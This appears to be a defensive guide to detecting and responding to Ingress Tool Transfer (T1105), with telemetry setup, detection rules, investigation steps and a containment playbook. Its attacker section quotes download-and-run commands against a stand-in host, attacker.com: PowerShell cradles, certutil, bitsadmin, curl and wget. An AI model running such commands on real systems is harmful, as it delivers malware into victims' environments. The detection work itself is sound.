Overview

Ingress Tool Transfer (T1105) describes the technique where adversaries download or copy tools, scripts, or payloads from an external system they control into a compromised environment. This is typically one of the first post-exploitation actions an attacker takes — once they have an initial foothold, they need to bring in additional capabilities such as reconnaissance tools, credential dumpers, ransomware, or C2 implants that were not part of the initial infection vector.

Every security team needs visibility into this technique because it represents a critical choke point: if you can detect the tool transfer, you can stop the attack before the attacker achieves their primary objective. Ingress Tool Transfer is pervasive across virtually every threat actor type — from ransomware affiliates to nation-state operators — and appears in nearly every multi-stage intrusion. Missing it means you are likely to only discover the breach after significant damage has already occurred.

Attacker Perspective

After gaining an initial foothold, attackers almost always need to import additional tooling because the access mechanism alone rarely provides enough capability to achieve their goals.

• PowerShell cradles on Windows: Attackers run IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') or Invoke-WebRequest -Uri http://attacker.com/beacon.exe -OutFile C:\ProgramData\svc.exe to pull payloads directly into memory or to disk without touching a browser.
• Living-off-the-land binaries (LOLBins): Utilities like certutil -urlcache -split -f http://attacker.com/tool.exe C:\Windows\Temp\tool.exe or bitsadmin /transfer job /download /priority normal http://attacker.com/x.exe C:\Temp\x.exe abuse trusted Windows binaries to bypass application control.
• curl/wget on Linux and ESXi: Attackers execute curl -o /tmp/.hidden_tool http://attacker.com/elf_payload or wget -q http://attacker.com/rootkit -O /dev/shm/rk, often writing to world-writable or hidden directories to avoid casual inspection.
• Cloud sync abuse: Attackers compromise a cloud storage account (Dropbox, OneDrive) and place a payload in a synced folder, letting the legitimate sync client silently deliver it to the victim endpoint without generating typical network-layer alerts.

This technique is attractive to attackers because it can be accomplished entirely with built-in operating system utilities, blends into normal administrative traffic, and gives them precise control over exactly what tooling lands on a target system and when.

Detection Strategy

Required Telemetry

• Windows — PowerShell Script Block Logging (Event ID 4104): Enable via GPO at HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1. This captures the full decoded content of every PowerShell script block, including download cradles that would otherwise be obfuscated.
• Windows — Process Creation (Event ID 4688): Enable via GPO under Advanced Audit Policy → Detailed Tracking → Audit Process Creation. Additionally set HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit → ProcessCreationIncludeCmdLine_Enabled = 1 to capture full command-line arguments. Alternatively, deploy Sysmon with Event ID 1 (Process Create) which captures parent/child relationships, hashes, and full command lines in a single event.
• Windows — Sysmon Event ID 3 (Network Connection): Captures outbound connections with the initiating process name, destination IP, and port. Required to correlate tool-transfer processes with external C2 infrastructure.
• Windows — Sysmon Event ID 11 (File Create) and Event ID 15 (FileCreateStreamHash): Captures files written to disk, including Alternate Data Stream (ADS) marks of origin. Event ID 15 specifically captures the Zone.Identifier ADS which records the download source URL.
• Linux — auditd rules: Add the following rules to /etc/audit/rules.d/audit.rules:
  -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/curl -k ingress_tool_transfer and equivalents for wget, scp, rsync, sftp, tftp, nc, and python3. These generate audit records including the full command line and the invoking UID.
• Linux — auditd file write monitoring: Add rules to watch commonly abused staging directories: -a always,exit -F arch=b64 -S openat -F path=/tmp -F perm=wa -k tmp_write and equivalents for /dev/shm, /var/tmp, and /dev/null.
• Network — Proxy or DNS logs: Web proxy logs (e.g., Squid, Zscaler, Palo Alto URL filtering) must capture the full URL, user agent string, HTTP method, response code, and bytes transferred. DNS logs must capture all query/response pairs. These are essential for identifying the remote infrastructure used in the transfer.
• Network — Firewall/NSG flow logs: Required to correlate internal hosts making unexpected outbound connections to unusual ports or non-categorised IP space. Enable logging of allowed and denied flows.
• macOS — Unified Log / Endpoint Security Framework: If running an EDR agent, ensure process execution telemetry is collected. Alternatively, enable OpenBSM auditing (/etc/security/audit_control) with the ex (exec) audit class enabled.
• ESXi — Shell and SSH logging: Enable ESXi Shell and SSH, and ensure all commands executed via the ESXi shell are forwarded to a remote syslog server via esxcli system syslog config set --loghost=udp://your-siem:514. Commands run via vim-cmd or the ESXi shell appear in /var/log/shell.log.

Key Indicators

• PowerShell download cradles (Windows — Event ID 4104): In the ScriptBlockText field, look for patterns including Net.WebClient, DownloadFile, DownloadString, Invoke-WebRequest, wget (PowerShell alias), iwr, Start-BitsTransfer, and IEX combined with any download method. The combination of IEX and a download method in the same script block is particularly high-fidelity.
• LOLBin download activity (Windows — Sysmon Event ID 1 or Event ID 4688): In the CommandLine field, look for: certutil -urlcache, certutil -decode, bitsadmin /transfer, mshta http://, wscript //e:jscript http://, regsvr32 /s /n /u /i:http://, and Office application processes (winword.exe, excel.exe, powerpnt.exe) with http in the command line.
• Unusual parent-child process relationships (Sysmon Event ID 1): In the ParentImage field, flag when the parent is winword.exe, excel.exe, outlook.exe, teams.exe, or a browser process spawning download utilities like curl.exe, powershell.exe, cmd.exe, or certutil.exe.
• Network connections from non-browser processes (Sysmon Event ID 3): In the Image field, flag outbound HTTP/HTTPS (ports 80, 443, 8080, 8443) connections from powershell.exe, certutil.exe, mshta.exe, wscript.exe, cscript.exe, regsvr32.exe, rundll32.exe, and cmd.exe to DestinationPort values of 80 or 443. Connections to non-standard ports from any of these processes should be treated as higher severity.
• Files written to staging directories (Sysmon Event ID 11): In the TargetFilename field, look for new executables (.exe, .dll, .ps1, .bat, .vbs, .js) written to C:\Windows\Temp\, C:\ProgramData\, C:\Users\Public\, or %APPDATA% by processes other than legitimate installers.
• Linux download tools in suspicious directories (auditd): In the exe field from auditd records, flag executions of /usr/bin/curl, /usr/bin/wget, /usr/bin/tftp where the cwd (current working directory) is /tmp, /dev/shm, or /var/tmp, or where the output path (-o or -O arguments) points to these directories.
• Cisco/network device staging commands (AAA logs): In the command field of AAA accounting logs, look for the keywords tftp, copy, configure replace, and archive tar being executed outside of a known maintenance window or by a non-service account user.
• Zone.Identifier ADS (Sysmon Event ID 15): The Contents field will contain the source URL of a downloaded file. Any executable file with a ZoneId=3 (Internet zone) or ZoneId=4 (Restricted Sites) ADS written to non-standard locations warrants investigation.

Detection Logic

Rule 1 — PowerShell download cradle detected (high sensitivity, medium volume):
IF EventID = 4104 AND ScriptBlockText CONTAINS_ANY ('DownloadFile', 'DownloadString', 'Invoke-WebRequest', 'Start-BitsTransfer', 'Net.WebClient') AND ScriptBlockText CONTAINS_ANY ('http://', 'https://') THEN alert HIGH

This catches the most common PowerShell-based ingress transfer methods. Expect moderate alert volume; the primary false positive source is legitimate software deployment scripts. Tune by adding AND NOT ScriptBlockText CONTAINS known_software_update_urls or by building an allowlist of approved automation accounts.

Rule 2 — LOLBin used to transfer a file from the internet (medium sensitivity, lower volume):
IF EventID = 4688 OR SysmonEventID = 1 AND Image ENDSWITH_ANY ('certutil.exe', 'bitsadmin.exe', 'mshta.exe', 'regsvr32.exe') AND CommandLine CONTAINS_ANY ('http://', 'https://', 'urlcache', '/transfer') AND NOT ParentImage IN (known_patch_management_tools) THEN alert HIGH

This targets LOLBin abuse specifically. Certutil running with -urlcache and bitsadmin running with /transfer have very few legitimate uses outside of specific enterprise deployment tools. Alert volume should be low; any hits warrant immediate triage.

Rule 3 — Outbound network connection from a scripting or system utility (broad, high volume baseline):
IF SysmonEventID = 3 AND Image ENDSWITH_ANY ('powershell.exe', 'cmd.exe', 'wscript.exe', 'cscript.exe', 'rundll32.exe', 'mshta.exe', 'certutil.exe') AND DestinationPort IN (80, 443, 8080, 8443, 21, 22) AND Initiated = true AND NOT DestinationIp IN (internal_ranges) THEN alert MEDIUM

This is a broad detection best run as a hunting query or with a risk-scoring model rather than as a real-time alert, due to volume. It catches cases where download activity does not match known patterns but involves unusual processes making outbound connections.

Rule 4 — Office application spawning a download (high precision, low volume):
IF SysmonEventID = 1 AND ParentImage ENDSWITH_ANY ('winword.exe', 'excel.exe', 'powerpnt.exe', 'outlook.exe') AND Image ENDSWITH_ANY ('powershell.exe', 'cmd.exe', 'curl.exe', 'certutil.exe', 'wscript.exe', 'mshta.exe') AND CommandLine CONTAINS_ANY ('http://', 'https://', 'ftp://') THEN alert CRITICAL

This rule is very high confidence — Office applications have essentially no legitimate reason to spawn a download utility. This pattern strongly indicates a malicious document executing a payload download stage. Treat every hit as a confirmed incident until proven otherwise.

Tuning Guidance

• Software deployment and patch management tools: Systems managed by SCCM, Ansible, Puppet, Chef, or Jamf will generate legitimate process execution events matching these rules. Identify the service account names and parent process images used by these tools (e.g., parent_process = CcmExec.exe, user = svc_sccm) and add them as exclusions. Build this exclusion list from observed baseline activity, not assumptions.
• Developer workstations running curl/wget/Invoke-WebRequest: Development teams routinely download SDKs, packages, and code from GitHub and package registries. Consider scoping high-sensitivity rules to non-developer OUs or asset groups, or add an exclusion for DestinationHostname ENDSWITH_ANY ('github.com', 'githubusercontent.com', 'nuget.org', 'pypi.org') combined with an allowlisted user group.
• Automated backup and sync solutions: Tools like OneDrive, Dropbox, and enterprise backup agents generate file creation and network connection events that may match Sysmon Event ID 3 and 11 rules. Exclude by the specific process image name (e.g., Image = 'OneDrive.exe') after confirming the binary is legitimate and signed.
• Security tools and EDR agents: Your own security tooling may perform file downloads for signature updates or threat intelligence feeds. Identify these processes and add them to a global exclusion list applied across all download-related rules, conditioned on the binary being signed by a known-good certificate publisher.
• Linux system update processes: Package managers such as apt, yum, dnf, and zypper use curl and wget internally. Exclude events where the parent process is a known package manager binary (ppid_exe IN ('/usr/bin/apt-get', '/usr/bin/yum')) to avoid alert fatigue during routine patching cycles.

When the Alert Fires: Investigation Steps

1. Verify the alert is real and pull the raw event. Navigate directly to the source log in your SIEM — for Windows, retrieve the raw Event ID 4104 or Sysmon Event ID 1 record and confirm the ScriptBlockText or CommandLine field contains the flagged content. Do not rely solely on the parsed alert; confirm the raw event exists and has not been manipulated by a parsing error.
2. Identify the affected host and user account. Extract the hostname, user, and LogonId from the event, then check Active Directory (or your IAM system) to determine if the account is a standard user, local administrator, domain administrator, or service account — escalate priority immediately if the account holds elevated privileges or is a service account not expected to run interactively.
3. Reconstruct the full process chain. Using Sysmon Event ID 1 or EDR telemetry, pivot on the ProcessGuid of the flagged process to retrieve every ancestor process back to the initial execution point. Look specifically for suspicious grandparent processes such as a browser, email client, or a document that spawned the download utility — this reveals the delivery mechanism.
4. Identify what was downloaded and where it landed. Use Sysmon Event ID 11 (File Create) and Event ID 15 (FileCreateStreamHash) correlated by ProcessGuid to find every file written by the download process. Note the full file path, file name, and hash. Submit the hash immediately to VirusTotal, your threat intel platform, or an internal sandbox — and retrieve the Zone.Identifier ADS if present to recover the source URL.
5. Trace the network connection back to its source. Using Sysmon Event ID 3 or proxy/firewall logs, identify the destination IP address, domain, and port used during the transfer. Run the domain and IP through your threat intelligence sources (e.g., Shodan, WHOIS, VirusTotal, or your TIP). Check if the destination appears in any threat intel feeds, has low domain age, or is hosted on bulletproof infrastructure — also check for DNS-over-HTTPS or use of dynamic DNS providers.
6. Hunt for lateral movement originating from this host. Query your SIEM for Sysmon Event ID 3 (outbound SMB on port 445), Windows Event ID 4624 (logon) with LogonType 3 (network logon) originating from this host, and any remote service creation events (Event ID 7045) on other hosts where this host is the source. Check for scp, psexec, or wmic usage in the same timeframe — the downloaded tool may have been used immediately after transfer to move laterally.
7. Check for persistence mechanisms established after the transfer. Query for Windows Event ID 4698 (scheduled task created), Event ID 7045 (new service installed), and Sysmon Event ID 13 (registry value set) targeting common persistence keys such as HKCU\Software\Microsoft\Windows\CurrentVersion\Run, all within the 30-minute window following the file transfer. On Linux, check for new cron entries (/etc/cron.d/, /var/spool/cron/), new systemd unit files, and modifications to .bashrc or .profile. If any persistence is found, escalate immediately to confirmed incident and engage the full IR process.

Response Playbook

Containment

• Isolate the host immediately — but keep it powered on. Use your EDR console (CrowdStrike Network Containment, Defender for Endpoint Isolation, SentinelOne Network Quarantine) to cut off all network connectivity except to the EDR management plane. Do not reboot or shut down — volatile memory may contain injected code, active C2 beacons, or decryption keys that will be lost on reboot. If no EDR is present, physically disconnect the network cable or disable the NIC via the hypervisor layer.
• Disable the affected user account. Immediately disable the account in Active Directory (Disable-ADAccount -Identity username) or your IdP, and invalidate all active sessions. If the account is a service account, rotate its password immediately and audit all systems where it has authenticated in the past 48 hours.
• Block identified C2 infrastructure at the perimeter. Push the attacker’s IP addresses and domains to your firewall deny list, proxy blocklist, and DNS sinkhole. If using Palo Alto, push to Dynamic Address Groups. If using Zscaler, add to the custom URL category block list. Document all IOCs in your threat intel platform for cross-environment correlation.
• Kill the malicious process if still running. Using your EDR, terminate the process by PID. On Windows, you can also use taskkill /F /PID [pid] remotely via your endpoint management tool. Capture a memory dump of the process first if your EDR or forensic tooling supports it — this is valuable for extracting C2 configuration and additional IOCs.
• Revoke active authentication tokens and sessions. If the host was authenticated to cloud services (Azure AD, AWS, GCP), revoke all active OAuth tokens and sign-in sessions for the affected account via the admin console. Check for any API keys or service principal credentials accessible from the compromised host and treat them as compromised.

Eradication

• Remove all dropped payloads and tools. Based on the file paths identified during investigation, delete all malicious files. Use your EDR’s remediation function to ensure files are removed even from protected locations. Search the entire environment for the same file hash using your EDR’s hash hunt capability — the same tool may have been transferred laterally to other systems.
• Remove identified persistence mechanisms. Delete any scheduled tasks, registry run keys, new services, or startup entries identified during investigation. On Windows, use schtasks /delete /tn [taskname] /f and sc delete [servicename]. On Linux, remove cron entries and any new systemd unit files, then run systemctl daemon-reload.
• Reset credentials for all involved accounts. Reset passwords for the affected user, any local accounts on the compromised host, and any accounts whose credentials may have been accessible on the system (check browser saved passwords, credential manager, and %APPDATA%\Microsoft\Credentials). If a domain controller was accessible, consider a broader credential reset based on scope.
• Audit lateral movement targets for secondary implants. For every host the compromised system connected to during the investigation window, run an EDR hunt for the same file hashes, process names, and persistence artifacts. It is common for attackers to stage tools on multiple hosts once initial access is established.
• Rotate all exposed secrets and API keys. Identify any secrets stored in environment variables, configuration files, or credential stores on the compromised host. Rotate these immediately in the relevant secret management system (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) and audit usage logs for those secrets going back to the estimated time of initial compromise.

Recovery

• Verify cleanliness before reconnecting the host. Before removing network isolation, run a full AV/EDR scan and confirm no persistence artifacts remain. If confidence in the cleanliness of the host is anything less than high — particularly if the attacker had prolonged dwell time or if the host is a server — re-image from a known-good baseline rather than attempting manual remediation. Reconnecting a compromised host is worse than the downtime cost of re-imaging.
• Re-enable the user account only after verification. Before restoring the account, confirm with the user’s manager that the original activity was not authorised, complete a password reset with MFA re-enrollment, and brief the user on phishing and social engineering awareness relevant to the attack vector used.
• Implement enhanced monitoring for 72 hours post-remediation. Configure a targeted alert in your SIEM that fires on any activity from the previously affected host or user for the next 72 hours, regardless of whether it matches existing detection rules. Attackers sometimes have secondary persistence mechanisms that only activate after primary implants are removed.
• Document the full timeline and conduct a lessons-learned review. Produce an incident timeline from first evidence of compromise to containment, including dwell time, systems affected, and data potentially accessed. Distribute to the SOC, IR team, and relevant stakeholders. Identify any detection gaps this incident exposed and assign owners to remediate them.
• Update detection rules with new IOCs and TTPs. Any new file hashes, C2 domains, user-agent strings, or command-line patterns discovered during the investigation should be added to your detection rules, threat intel platform, and EDR custom IOC feed. Close the loop by confirming the updated detections would have fired earlier in the attack chain and adjust if not.